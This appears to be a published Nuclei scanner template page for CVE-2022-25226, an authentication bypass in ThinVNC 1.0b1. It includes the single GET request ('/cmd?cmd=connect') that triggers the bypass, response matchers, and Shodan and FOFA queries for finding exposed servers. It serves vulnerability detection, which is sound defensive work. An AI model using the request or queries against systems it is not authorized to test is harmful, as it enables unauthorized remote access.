ThinVNC - Authentication Bypass

ID: CVE-2022-25226

Severity: critical

Author: ritikchaddha

Tags: cve,cve2022,thinvnc,auth-bypass

Description

ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.

YAML Source

id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.00318
    epss-percentile: 0.70147
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dbdc3e33fd9846284ebb32a699ba24edce117b60ae63aa4757c652a2b4801bc602201948bd4841da811f21769b3aacdbec38f0fa013eba1a3453f03a59f77f9ac3a9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25226.yaml"

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